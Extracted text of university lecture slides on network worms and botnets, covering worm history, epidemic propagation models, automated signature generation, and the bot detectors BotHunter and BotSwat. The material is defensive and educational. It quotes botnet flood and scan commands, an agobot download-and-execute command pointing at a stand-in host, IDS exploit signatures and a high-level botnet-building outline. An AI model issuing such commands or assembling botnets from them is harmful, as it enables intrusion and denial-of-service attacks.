Network Worms and Bots

1
Network Worms and Bots  
CS 155
Spring 2008

• John Mitchell

2
Outline

• Worms
• Worm examples and propagation methods
• Detection methods
• Traffic patterns EarlyBird
• Vulnerabilities Generic Exploit Blocking
• Disabling worms
• Generate signatures for network or host-based
  filters
• Bots
• Structure and use of bots
• Recognizing bot propagation
• Recognizing bot operation
• Network-based methods
• Host-based methods

3
Worm

• A worm is self-replicating software designed to
  spread through the network
• Typically, exploit security flaws in widely used
  services
• Can cause enormous damage
• Launch DDOS attacks, install bot networks
• Access sensitive information
• Cause confusion by corrupting the sensitive
  information
• Worm vs Virus vs Trojan horse
• A virus is code embedded in a file or program
• Viruses and Trojan horses rely on human
  intervention
• Worms are self-contained and may spread
  autonomously

4
Cost of worm attacks

• Morris worm, 1988
• Infected approximately 6,000 machines
• 10 of computers connected to the Internet
• cost 10 million in downtime and cleanup
• Code Red worm, July 16 2001
• Direct descendant of Morris worm
• Infected more than 500,000 servers
• Programmed to go into infinite sleep mode July 28
  
• Caused 2.6 Billion in damages,
• Love Bug worm 8.75 billion
• Statistics Computer Economics Inc., Carlsbad,
  California

5
Internet Worm (First major attack)

• Released November 1988
• Program spread through Digital, Sun workstations
• Exploited Unix security vulnerabilities
• VAX computers and SUN-3 workstations running
  versions 4.2 and 4.3 Berkeley UNIX code
• Consequences
• No immediate damage from program itself
• Replication and threat of damage
• Load on network, systems used in attack
• Many systems shut down to prevent further attack

6
Some historical worms of note
Worm Date Distinction
Morris 11/88 Used multiple vulnerabilities, propagate to nearby sys
ADM 5/98 Random scanning of IP address space
Ramen 1/01 Exploited three vulnerabilities
Lion 3/01 Stealthy, rootkit worm
Cheese 6/01 Vigilante worm that secured vulnerable systems
Code Red 7/01 First sig Windows worm Completely memory resident
Walk 8/01 Recompiled source code locally
Nimda 9/01 Windows worm client-to-server, c-to-c, s-to-s,
Scalper 6/02 11 days after announcement of vulnerability peer-to-peer network of compromised systems
Slammer 1/03 Used a single UDP packet for explosive growth
Kienzle and Elder
7
Increasing propagation speed

• Code Red, July 2001
• Affects Microsoft Index Server 2.0,
• Windows 2000 Indexing service on Windows NT 4.0.
• Windows 2000 that run IIS 4.0 and 5.0 Web servers
• Exploits known buffer overflow in Idq.dll
• Vulnerable population (360,000 servers) infected
  in 14 hours
• SQL Slammer, January 2003
• Affects in Microsoft SQL 2000
• Exploits known buffer overflow vulnerability
• Server Resolution service vulnerability reported
  June 2002
• Patched released in July 2002 Bulletin MS02-39
• Vulnerable population infected in less than 10
  minutes

8
Code Red

• Initial version released July 13, 2001
• Sends its code as an HTTP request
• HTTP request exploits buffer overflow
• Malicious code is not stored in a file
• Placed in memory and then run
• When executed,
• Worm checks for the file C\Notworm
• If file exists, the worm thread goes into
  infinite sleep state
• Creates new threads
• If the date is before the 20th of the month, the
  next 99 threads attempt to exploit more computers
  by targeting random IP addresses

9
Code Red of July 13 and July 19

• Initial release of July 13
• 1st through 20th month Spread
• via random scan of 32-bit IP addr space
• 20th through end of each month attack.
• Flooding attack against 198.137.240.91
  (www.whitehouse.gov)
• Failure to seed random number generator ? linear
  growth
• Revision released July 19, 2001.
• White House responds to threat of flooding attack
  by changing the address of www.whitehouse.gov
• Causes Code Red to die for date 20th of the
  month.
• But this time random number generator correctly
  seeded

Slides Vern Paxson
10
Slide Vern Paxson
11
Measuring activity network telescope

• Monitor cross-section of Internet address space,
  measure traffic
• Backscatter from DOS floods
• Attackers probing blindly
• Random scanning from worms
• LBNLs cross-section 1/32,768 of Internet
• UCSD, UWiscs cross-section 1/256.

12
Spread of Code Red

• Network telescopes estimate of infected hosts
  360K. (Beware DHCP NAT)
• Course of infection fits classic logistic.
• Note larger the vulnerable population, faster
  the worm spreads.
• That night (? 20th), worm dies
• except for hosts with inaccurate clocks!
• It just takes one of these to restart the worm on
  August 1st

Slides Vern Paxson
13
Slides Vern Paxson
14
Code Red 2

• Released August 4, 2001.
• Comment in code Code Red 2.
• But in fact completely different code base.
• Payload a root backdoor, resilient to reboots.
• Bug crashes NT, only works on Windows 2000.
• Localized scanning prefers nearby addresses.
• Kills Code Red 1.
• Safety valve programmed to die Oct 1, 2001.

Slides Vern Paxson
15
Striving for Greater Virulence Nimda

• Released September 18, 2001.
• Multi-mode spreading
• attack IIS servers via infected clients
• email itself to address book as a virus
• copy itself across open network shares
• modifying Web pages on infected servers w/ client
  exploit
• scanning for Code Red II backdoors (!)
• worms form an ecosystem!
• Leaped across firewalls.

Slides Vern Paxson
16
Code Red 2 kills off Code Red 1
Nimda enters the ecosystem
CR 1 returns thanksto bad clocks
Code Red 2 settles into weekly pattern
Code Red 2 dies off as programmed
Slides Vern Paxson
17
How do worms propagate?

• Scanning worms
• Worm chooses random address
• Coordinated scanning
• Different worm instances scan different addresses
• Flash worms
• Assemble tree of vulnerable hosts in advance,
  propagate along tree
• Not observed in the wild, yet
• Potential for 106 hosts in lt 2 sec ! Staniford
• Meta-server worm
• Ask server for hosts to infect (e.g., Google for
  powered by phpbb)
• Topological worm
• Use information from infected hosts (web server
  logs, email address books, config files, SSH
  known hosts)
• Contagion worm
• Propagate parasitically along with normally
  initiated communication

18
How fast are scanning worms?

• Model propagation as infectious epidemic
• Simplest version Homogeneous random contacts

N population size S(t) susceptible hosts at
time t I(t) infected hosts at time t ß contact
rate i(t) I(t)/N, s(t) S(t)/N
courtesy Paxson, Staniford, Weaver
19
Shortcomings of simplified model

• Prediction is faster than observed propagation
• Possible reasons
• Model ignores infection time, network delays
• Ignores reduction in vulnerable hosts by patching
• Model supports unrealistic conclusions
• Example When the Top-100 ISPs deploy
  containment strategies, they still can not
  prevent a worm spreading at 100 probes/sec from
  affecting 18 of the internet, no matter what the
  reaction time of the system towards containment

20
Analytical Active Worm Propagation Model
Chen et al., Infocom 2003

• More detailed discrete time model
• Assume infection propagates in one time step
• Notation
• N number of vulnerable machines
• h hitlist number of infected hosts at start
• s scanning rate of machines scanned per
  infection
• d death rate infections detected and
  eliminated
• p patching rate vulnerable machines become
  invulnerable
• At time i, ni are infected and mi are vulnerable
• Discrete time difference equation
• Guess random IP addr, so infection probability
  (mi-ni)/232
• Number infected reduced by pni dni

21
Effect of parameters on propagation
2. Patching Rate

1. HitList Size

3.Time to Complete Infection
(Plots are for 1M vulnerable machines, 100
scans/sec, death rate 0.001/second
Other models Wang et al, Modeling Timing
Parameters , WORM 04 (includes delay) Ganesh
et al, The Effect of Network Topology , Infocom
2005 (topology)
22
Worm Detection and Defense

• Detect via honeyfarms collections of honeypots
  fed by a network telescope.
• Any outbound connection from honeyfarm worm.
• (at least, thats the theory)
• Distill signature from inbound/outbound traffic.
• If telescope covers N addresses, expect detection
  when worm has infected 1/N of population.
• Thwart via scan suppressors network elements
  that block traffic from hosts that make failed
  connection attempts to too many other hosts
• 5 minutes to several weeks to write a signature
• Several hours or more for testing

23
Need for automation

• Current threats can spread faster than defenses
  can reaction
• Manual capture/analyze/signature/rollout model
  too slow

months
days
Signature Response Period
Contagion Period
hrs
mins
secs
1990
Time
2005
Slide Carey Nachenberg, Symantec
24
Signature inference

• Challenge
• need to automatically learn a content signature
  for each new worm potentially in less than a
  second!
• Some proposed solutions
• Singh et al, Automated Worm Fingerprinting, OSDI
  04
• Kim et al, Autograph Toward Automated,
  Distributed Worm Signature Detection, USENIX Sec
  04

25
Signature inference

• Monitor network and look for strings common to
  traffic with worm-like behavior
• Signatures can then be used for content filtering

Slide S Savage
26
Content sifting

• Assume there exists some (relatively) unique
  invariant bitstring W across all instances of a
  particular worm (true today, not tomorrow...)
• Two consequences
• Content Prevalence W will be more common in
  traffic than other bitstrings of the same length
• Address Dispersion the set of packets containing
  W will address a disproportionate number of
  distinct sources and destinations
• Content sifting find Ws with high content
  prevalence and high address dispersion and drop
  that traffic

Slide S Savage
27
ObservationHigh-prevalence strings are rare
Cumulative fraction of signatures
Only 0.6 of the 40 byte substrings repeat more
than 3 times in a minute
Number of repeats
(Stefan Savage, UCSD )
28
The basic algorithm
(Stefan Savage, UCSD )
29
The basic algorithm
(Stefan Savage, UCSD )
30
The basic algorithm
(Stefan Savage, UCSD )
31
The basic algorithm
(Stefan Savage, UCSD )
32
The basic algorithm
(Stefan Savage, UCSD )
33
Challenges

• Computation
• To support a 1Gbps line rate we have 12us to
  process each packet, at 10Gbps 1.2us, at 40Gbps
• Dominated by memory references state expensive
• Content sifting requires looking at every byte in
  a packet
• State
• On a fully-loaded 1Gbps link a naïve
  implementation can easily consume 100MB/sec for
  table
• Computation/memory duality on high-speed (ASIC)
  implementation, latency requirements may limit
  state to on-chip SRAM

(Stefan Savage, UCSD )
34
Which substrings to index?

• Approach 1 Index all substrings
• Way too many substrings ? too much computation ?
  too much state
• Approach 2 Index whole packet
• Very fast but trivially evadable (e.g., Witty,
  Email Viruses)
• Approach 3 Index all contiguous substrings of a
  fixed length S
• Can capture all signatures of length S and
  larger

A B C D E F G H I J K
(Stefan Savage, UCSD )
35
How to represent substrings?

• Store hash instead of literal to reduce state
• Incremental hash to reduce computation
• Rabin fingerprint is one such efficient
  incremental hash function Rabin81,Manber94
• One multiplication, addition and mask per byte

R A N D A B C D O M
P1
Fingerprint 11000000
P2
R A B C D A N D O M
Fingerprint 11000000
(Stefan Savage, UCSD )
36
How to subsample?

• Approach 1 sample packets
• If we chose 1 in N, detection will be slowed by N
• Approach 2 sample at particular byte offsets
• Susceptible to simple evasion attacks
• No guarantee that we will sample same sub-string
  in every packet
• Approach 3 sample based on the hash of the
  substring

(Stefan Savage, UCSD )
37
Finding heavy hitters via Multistage Filters
Increment
(Stefan Savage, UCSD )
38
Multistage filters in action
Counters
. . .
Threshold
Grey other hahes
Stage 1
Yellow rare hash
Green common hash
Stage 2
Stage 3
(Stefan Savage, UCSD )
39
ObservationHigh address dispersion is rare too

• Naïve implementation might maintain a list of
  sources (or destinations) for each string hash
• But dispersion only matters if its over threshold
• Approximate counting may suffice
• Trades accuracy for state in data structure
• Scalable Bitmap Counters
• Similar to multi-resolution bitmaps Estan03
• Reduce memory by 5x for modest accuracy error

(Stefan Savage, UCSD )
40
Scalable Bitmap Counters
1
1
Hash(Source)

• Hash based on Source (or Destination)
• Sample keep only a sample of the bitmap
• Estimate scale up sampled count
• Adapt periodically increase scaling factor
• With 3, 32-bit bitmaps, error factor 28.5

Error Factor 2/(2numBitmaps-1)
(Stefan Savage, UCSD )
41
Content sifting summary

• Index fixed-length substrings using incremental
  hashes
• Subsample hashes as function of hash value
• Multi-stage filters to filter out uncommon
  strings
• Scalable bitmaps to tell if number of distinct
  addresses per hash crosses threshold
• This is fast enough to implement

(Stefan Savage, UCSD )
42
Experience

• Quite good.
• Detected and automatically generated signatures
  for every known worm outbreak over eight months
• Can produce a precise signature for a new worm in
  a fraction of a second
• Software implementation keeps up with 200Mbps
• Known worms detected
• Code Red, Nimda, WebDav, Slammer, Opaserv,
• Unknown worms (with no public signatures)
  detected
• MsBlaster, Bagle, Sasser, Kibvu,

(Stefan Savage, UCSD )
43
False Positives

• Common protocol headers
• Mainly HTTP and SMTP headers
• Distributed (P2P) system protocol headers
• Procedural whitelist
• Small number of popular protocols
• Non-worm epidemic Activity
• SPAM
• BitTorrent

• GNUTELLA.CONNECT /0.6..X-Max-TTL  .3..X-Dyna
  mic-Qu  erying.0.1..X-V  ersion.4.0.4..X  -Qu
  ery-Routing.  0.1..User-Agent  .LimeWire/4.0.6
  .  .Vendor-Message  .0.1..X-Ultrapee  r-Query-
  Routing

(Stefan Savage, UCSD )
44
Generic Exploit Blocking

• Idea
• Write a network IPS signature to generically
  detect and block all future attacks on a
  vulnerability
• Different from writing a signature for a specific
  exploit!
• Step 1 Characterize the vulnerability shape
• Identify fields, services or protocol states that
  must be present in attack traffic to exploit the
  vulnerability
• Identify data footprint size required to exploit
  the vulnerability
• Identify locality of data footprint will it be
  localized or spread across the flow?
• Step 2 Write a generic signature that can
  detect data that mates with the vulnerability
  shape
• Similar to Shield research from Microsoft

Slide Carey Nachenberg, Symantec
45
Generic Exploit Blocking Example 1
Consider MS02-039 Vulnerability (SQL Buffer
Overflow)
Field/service/protocol UDP port 1434 Packet type
4
BEGIN DESCRIPTION MS02-039 NAME MS SQL Vuln
TRANSIT-TYPE UDP TRIGGER ANYANY-gtANY1434
OFFSET 0, PACKET SIG-BEGIN
"\x04ltgetpacketsize(r0)gt ltinrange(r0,61,100000
0)gt ltreportid()gt" SIG-END END
Pseudo-signature if (packet.port() 1434
packet0 4 packet.size() gt 60)
report_exploit(MS02-039)
Minimum data footprint Packet size gt 60 bytes
Data Localization Limited to a single packet
Slide Carey Nachenberg, Symantec
46
Generic Exploit Blocking Example 2
Consider MS03-026 Vulnerability (RPC Buffer
Overflow)
BEGIN DESCRIPTION MS03-026 NAME RPC
Vulnerability TRANSIT-TYPE TCP, UDP TRIGGER
ANYANY-gtANY135 SIG-BEGIN "\x05\x00\x0B\x03\x
10\x00\x00 (about 50 more bytes...)
\x00\x00.\x05\x00 ltforward(5)gtltgetbeword(r0)gt
ltinrange(r0,63,20000)gt
ltreportid()gt" SIG-END END
Field/service/protocol RPC request on TCP/UDP
135szName field in CoGetInstanceFromFile func.
Sample signature if (port 135 type
request func CoGetInstanceFromFile
parameters.length() gt 62)
report_exploit(MS03-026)
Minimum data footprint Arguments gt 62 bytes
Data Localization Limited to 256 bytes from
start of RPC bind command
Slide Carey Nachenberg, Symantec
47
Worm summary

• Worm attacks
• Many ways for worms to propagate
• Propagation time is increasing
• Polymorphic worms, other barriers to detection
• Detect
• Traffic patterns EarlyBird
• Watch attack TaintCheck and Sting
• Look at vulnerabilities Generic Exploit Blocking
• Disable
• Generate worm signatures and use in network or
  host-based filters

48
Botnet

• Collection of compromised hosts
• Spread like worms and viruses
• Once installed, respond to remote commands
• Platform for many attacks
• Spam forwarding (70 of all spam?)
• Click fraud
• Keystroke logging
• Distributed denial of service attacks
• Serious problem
• Top concern of banks, online merchants
• Vint Cerf ¼ of hosts connected to Internet

49
What are botnets used for?
capability ago DSNX evil G-SyS sd Spy
create port redirect v v v v v
other proxy v
download file from web v v v v v
DNS resolution v v v
UDP/ping floods v v v v
other DDoS floods v v v
scan/spread v v v v v
spam v
visit URL v v v
Capabilities are exercised via remote commands.
50
Building a Bot Network
compromise attempt
Win XP
compromise attempt
compromise attempt
compromise attempt
Win XP
51
Building a Bot Network
compromise attempt
Win XP compromised
install bot software
compromise attempt
compromise attempt
compromise attempt
Win XP compromised
install bot software
52
Step 2
Win XP
Win XP
. . . /connect jade.va.us.dal.net /join hacker .
. .
. . . /connect jade.va.us.dal.net /join hacker .
. .
jade.va.dal.net
53
Step 3
(125927pm) -- A9-pcgbdv (A9-pcgbdv_at_140.134.36.12
4) has joined (owned) Users 1646 (125927pm)
(_at_PhaTTy) .ddos.synflood 216.209.82.62 (125927p
m) -- A6-bpxufrd (A6-bpxufrd_at_wp95-81.introweb.nl)
has joined (owned) Users 1647 (125927pm) --
A9-nzmpah (A9-nzmpah_at_140.122.200.221) has left
IRC (Connection reset by peer) (125928pm)
(_at_PhaTTy) .scan.enable DCOM (125928pm) --
A9-tzrkeasv (A9-tzrkeas_at_220.89.66.93) has joined
(owned) Users 1650
54

• Spam service
• Rent-a-bot
• Cash-out
• Pump and dump
• Botnet rental

55
Underground commerce

• Market in access to bots
• Botherd Collects and manages bots
• Access to proxies (peas) sold to spammers,
  often with commercial-looking web interface
• Sample rates
• Non-exclusive access to botnet 10 per machine
• Exclusive access 25.
• Payment via compromised account (eg PayPal) or
  cash to dropbox
• Identity Theft
• Keystroke logging
• Complete identities available for 25 - 200
• Rates depend on financial situation of
  compromised person
• Include all info from PC files, plus all websites
  of interest with passwords/account info used by
  PC owner
• At 200, usually includes full credit report
• Lloyd Taylor, Keynote
  Systems, SFBay InfraGard Board

56
Sobig.a In Action

• Arrives as an email attachment
• Written in C
• Encrypted with Telock to slow analysis
• User opens attachment, launching trojan
• Downloads file from a free Geocities account
• Contains list of URLs pointing to second stage
• Fetches second-stage trojan
• Arbitrary executable file could be anything
• For Sobig.a, second-stage trojan is Lala

57
Stage 2 Lala

• Communication
• Lala notifies a cgi script on a compromised host
• Different versions of Lala have different sites
  and cgi scripts, perhaps indicating tracking by
  author
• Installation
• Lala installs a keylogger and password-protected
  Lithium remote access trojan.
• Lala downloads Stage 3 trojan
• Wingate proxy (commercial software)
• Cleanup
• Lala removes the Sobig.a trojan

58
Stage 3 Wingate

• Wingate is a general-purpose port proxy server
• 555/TCP RTSP 608/TCP
  Remote Control Service
• 1180/TCP SOCKS 1181/TCP Telnet
  Proxy
• 1182/TCP WWW Proxy 1183/TCP FTP Proxy
• 1184/TCP POP3 Proxy 1185/TCP SMTP
  Server
• Final state of compromised machine
• Complete remote control by Lithium client with
  password adm123
• Complete logging of users keystrokes
• Usable for spam relay, http redirects
• Wingate Gatekeeper client can connect to 608/TCP,
• can log/change everything

59
Build Your Own Botnet

• Pick a vector mechanism
• IRC Channels DCC Filesends, Website Adverts to
  Exploit Sites
• Scan Sploit MSBlast
• Trojan SoBig/BugBear/ActiveX
  Exploits
• Choose a Payload
• Backdoors
• Agobot, SubSeven, DeepThroat
• Most include mechanisms for DDoS, Self-spreading,
  download/exec arbitrary code, password stealers.
• Do it
• Compromise an IRC server, or use your own zombied
  machines
• Configure Payload to connect to selected server
• Load encryption keys and codes
• Release through appropriate compromised systems
• Sit back and wait, or start on your next Botnet
• Lloyd Taylor,
  Keynote Systems, SFBay InfraGard Board

60
Bot detection methods

• Signature-based (most AV products)
• Rule-based
• Monitor outbound network connections (e.g.
  ZoneAlarm, BINDER)
• Block certain ports (25, 6667, ...)
• Hybrid content-based filtering
• Match network packet contents to known command
  strings (keywords)
• E.g. Gaobot ddos cmds .ddos.httpflood
• Network traffic monitoring
• Wenke Lee, Phil Porras Bot Hunter,
• Correlate various NIDS alarms to identify bot
  infection sequence
• GA Tech Recognize traffic patterns associated
  with ddns-based rallying
• Stuart Staniford, FireEye
• Detect port scanning to identify suspicious
  traffic
• Emulate host with taint tracking to identify
  exploit

61
BotHunter passive bot detection
What is botHunter? A Real Case Study Behavior-base
d Correlation Architectural Overview
Introduction Approaches to Privacy-Preserving
Correlation A Cyber-TA Distributed Correlation
Example botHunter
botHunter Sensors Correlation Framework Example
botHunter Output Cyber-TA Integration
What is botHunter?

• Snort-based sensor suite for malware event
  detection
• inbound scan detection
• remote to local exploit detection
• anomaly detection system for exploits over key
  TCP protocols
• Botnet specific egg download banners,
• Victim-to-CC-based communications exchanges
• particularly for IRC bot protocols
• Event correlator
• combines information from sensors to recognize
  bots that infect and coordinate with your
  internal network assets
• Submits bot-detection profiles to the Cyber-TA
  repository infrastructure

62
Infection lifecycle
A Behavioral-based Approach
V-2-A
A-2-V
V-2-
Type II
V-2-C
A-2-V
Type I
V-2-

• Search for duplex communication sequences that
  are indicative of infection-coordination-infection
  lifecycle

63
Phatbot infection lifecycle
Introduction Approaches to Privacy-Preserving
Correlation A Cyber-TA Distributed Correlation
Example botHunter
What is botHunter? A Real Case Study Behavior-base
d Correlation Architectural Overview
botHunter Sensors Correlation Framework Example
botHunter Output Cyber-TA Integration
Bot infection case study Phatbot

• A Attack, V Victim, C CC Server
• E1 A. ? V.2745, 135, 1025, 445, 3127, 6129,
  139, 5000 (Bagle, DCOM2, DCOM, NETBIOS, DOOM,
  DW, NETBIOS, UPNPTCP connections w/out content
  transfers)
• E2 A. ? V.135 (Windows DCE RCP exploit in
  payload)
• E3 V. ? A.31373 (transfer a relatively large
  file via random A port specified by exploit)
• E4 V. ? C.6668 (connect to an IRC server)
• E5 V. ? V.2745, 135, 1025, 445, 3127, 6129,
  139, 5000 (V begins search for new infection
  targets, listens on 11759 for future egg
  downloads)

captured in a controlled VMWare environment
64
BotHunter System Architecture
What is botHunter? A Real Case Study Behavior-base
d Correlation Architectural Overview
botHunter Sensors Correlation Framework Example
botHunter Output Cyber-TA Integration
Botnets Architecture Overview
Snort 2.6.0
spp_scade.ch
e2 Payload Anomalies
CTA Anonymizer Plugin
SLADE
e1 Inbound Malware Scans
botHunter Correlator
Span Port to Ethernet Device
spp_scade.ch
e5 Outbound Scans
SCADE
e2 Exploits e3 Egg Downloads e4 CC Traffic
Java 1.4.2
Signature Engine

• bot Infection Profile
• Confidence Score
• Victim IP
• Attacker IP List (by confidence)
• Coordination Center IP (by confidence)
• Full Evidence Trail Sigs, Scores, Ports
• Infection Time Range

Snort 2.6.0, OS Linux, MacOS, Win, FreeBSD,
Solaris, Java 1.4.2
65
botHunter Signature Set
botHunter Sensors Correlation Framework Example
botHunter Output Cyber-TA Integration
What is botHunter? A Real Case Study Behavior-base
d Correlation Architectural Overview

• Replace standard snort rules
• Five custom rulesets e1-5.rules
• Scope
• known worm/bot exploit general traffic
  signatures, shell/code/script exploits,
  update/download/registered rules, CC command
  exchanges, outbound scans, malware exploits
• Rule sources
• Bleeding Edge malware rulesets
• Snort Community Rules, Snort Registered Free Set
• Cyber-TA Custom bot-specific rules
• Current Set 237 rules, operating on SRI/CSL and
  GA-Tech networks, relative low false positive
  rate

66
Detection
What is botHunter? A Real Case Study Behavior-base
d Correlation Architectural Overview
botHunter Sensors Correlation Framework Example
botHunter Output Cyber-TA Integration
botHunter - Correlation Framework
Bot-State Correlation Data Structure

• Characteristics of Bot Declarations
• states are triggered in any order, but pruning
  timer reinitializes row state once an InitTime
  Trigger is activated
• external stimulus alone cannot trigger bot alert
• 2 x internal bot behavior triggers bot alert
• When bot alert is declared, IP addresses are
  assigned responsibility based on raw contribution

VictimIP E1 E2 E3 E4 E5
Score
Rows Valid Internal Home_Net IP Colums Bot
infection stages Entry IP addresses that
contributed alerts to E-Column Score Column
Cumulative score for per Row Threshold
(row_score gt threshold) ? declare bot InitTime
Triggers An event that initiate pruning
timer Pruning Timer Seconds remaining until a
row is reinitialized
Defaults E1 Inbound scan detected
weight .25 E2 Inbound exploit detected
weight .25 E3 Egg download detected
weight .50 E4 CC channel detected
weight .50 E5 Outbound scan detected
weight .50 Threshold 1.0 Pruning Interval
120 seconds
67
Botnets network traffic patterns

• Unique characteristic rallying
• Bots spread like worms and trojans
• Payloads may be common backdoors
• Centralized control of botnet is characteristic
  feature
• Georgia Tech idea DNS
• Bots installed at network edge
• IP addresses may vary, use Dynamic DNS
• Bots talk to controller, make DDNS lookup
• Pattern of DDNS lookup is easy to spot for common
  botnets!
• David Dagon, Sanjeev Dwivedi, Robert Edmonds,
  Julian Grizzard, Wenke Lee, Richard Lipton,
  Merrick Furst Cliff Zou (U Mass)

68
(No Transcript)
69
(No Transcript)
70
BotSwat

• Host-based bot detection
• Based on idea of remote control commands

71
What does remote control look like?
http.execute ltURLgt ltlocal_pathgt

• Invoke system calls
• connect, network send and recv, create file,
  write file,
• On arguments received over the network
• IP to connect to, object to request, file name,
• Botswat premise
• We can distinguish the behavior of bots from that
  of innocuous processes via detecting remote
  control
• We can approximate remote control as using
  data received over the network in a system call
  argument

72
http.execute www.badguy.com/malware.exe
C\WIN\bad.exe
agobot
1
4
3
connect(,www.badguy.com,)
5
send( ,GET /malware.exe,)
7
fcreate(,C\WIN\malware.exe,)
8
2
Windows XP
NIC
6
73
BotSwat


S O U R C E S
?
?
?
?
S I N K S
CreateProcessA()
NtCreateFile()
bind()
...
74
BotSwat architecture overview

• Interposition mechanism (detours)
• Interposes on API calls
• Tainting module
• Instantiates and propagates taint
• User-input module
• Tracks local user input as received via KB or
  mouse (clean data) propagates cleanliness
• Behavior checking
• Monitors invocations of selected system calls
• Queries tainting and user-input modules
• Determines whether to flag invocation
• ?70k lines C and 2200 intercepted fxns

75
Library-call level tainting

• Intercept calls made by process via a DLL to
  memory-copying functions
• If C library functions statically linked in
  (STAT), we wont see run-time calls to these
  functions
• Handling visibility limitations
• Taint a mem region on basis of its contents
• Keep track of data received over the network
• Taint propagation modes
• Cause-and-Effect (CE) conservative
• Correlative (CORR) liberal

76
User input tracking

• Goal Identify actions initiated by local app
  user
• Challenge data value associated with mouse input
  heavily application-defined not exposed via API
  call or similar
• Solution consider all data values referred to by
  app while it is handling mouse input event clean
  (an over-approximation)

? Figure out when app handling input event
77
System creates message M
Target Window W Input Type LMB click Location
ltx,ygt
MainWndProc(, UINT uMsg,) switch (uMsg)
case WM_LBUTTONDOWN ... ... ...
System posts M to threads queue
M1
App executes code to handle event
App reads M from queue
M2
DispatchMessage(...)
M3
GetMessage(...)
78
Behaviors and gates
MoveFileExA,W Win32DeleteFile
MoveFileWithProgressExA,W DeleteFileA,W
ReplaceFileA,W
NtOpenFile
tainted open file
tainted create file
tainted prog exec
...
bind tainted IP
bind tainted port
...
tainted send
derived send
sendto tainted IP
sendto tainted port
NtCreateFile
CreateFileA,W, OpenFile, CopyFileExA,W,
fopen, _open, _lopen, _lcreat, ...
NtDeviceIoControlFile
bind, send, sendto, WSASend, WSASendTo, SSL_write
,

Selection of behaviors/gates/sinks informed by
bot capabilities
79
Evaluation of BotSwat

• Bots ago, DSNX, evil, G-SyS, sd, Spy
• Two test scenarios
• C library functions dynamically or statically
  linked
• Many bot variants
• Apply xforms (compr, encr) to bot binary
• Minor source edits (CC params, config data)
• Variants from ago, sd, Spy families
• 98.2 of all bots seen in wild (05)
• Eight benign programs
• web browser clients email, ftp, ssh, chat, AV
  signature updater IRC server
• Chosen as likely to exhibit behavior similar to
  bots

80
Results overview

• Detected execution of most candidate cmds
• Detected vast majority of bots remote control
  behavior even when couldnt see bots calls to
  memory-copying functions
• behaviors exhibited 207
• behavs detected (DYN, CE) 196
• behavs detected (STAT, CORR) 148
• Tested 8 benign progs not many FPs
• Under CORR 8 behaviors 5 different

81
Detected commands
capability ago DSNX evil G-SyS sd Spy
port redirect v v v v v
other proxy v
web download v v v v v
DNS resolution v v v
UDP/ping floods v v v v
oth DDoS floods v v v
scan/spread v v v v v
spam v
visit URL v v v
82
capability ago DSNX evil G-SyS sd Spy
kill process v v v
open/exec file v v v v v
keylogging v v
create dir v
delete file/dir v v
list dir v v
move file/dir v
DCC send file v v
act as http svr v
change CC svr v v v v v
create clone v v v
clone attacks v
create spy v v
83
Spybot (DYN, CE)
execute ltprogramgt              
killprocess ltproc_namegt                  
delete ltfile_namegt                  
rename ltold_filenamegt ltnew_filenamegt                  
makedir ltdirnamegt                  
redirect ltloc_portgt ltdst_hostgt ltdst_portgt            
list ltpath/dirgt                  
download ltURLgt ltlocal_pathgt              
get ltlocal_filenamegt (DCC)                  
httpserver ltportgt ltroot_dirgt                  
syn lthost/IPgt ltportgt ltdelaygt lttimegt                
spfdsyn lthost/IPgt ltportgt ltdelaygt lttimegt                
server lthost/IPgt                  
scan ltstart_IPgt ltportgt ltdelaygt ltout_filegt                  
create proc
kill proc
connect port
connect IP
sendto port
tainted send
bind port
sendto IP
file open
file create
84
Botswat summary

• Proof of concept
• Single behavior remote control detects most
  malicious bot actions
• Resilient to differences that distinguish
  variants (and even families)
• Works against bots not used in design of method
• Independent of command and control protocol,
  botnet structure
• Low false positive rate can handle with
  whitelist or other methods
• Significant limitations
• Interposition at library call level
• Some bots in wild may allow only low-level system
  call tracking
• Need to decide when to raise an alarm
• Correlate low-level system events to identify
  high-level bot commands
• Experiment with alarm thresholds
• Develop malware analysis tool to produce
  characterization of bot actions
• Instruction-level tainting for developing
  malspecs, evaluating detection results
• Efficient run-time monitor of selected
  applications in production environment
• Which processes should be monitored?
• How to collect, aggregate, process, and report
  information efficiently?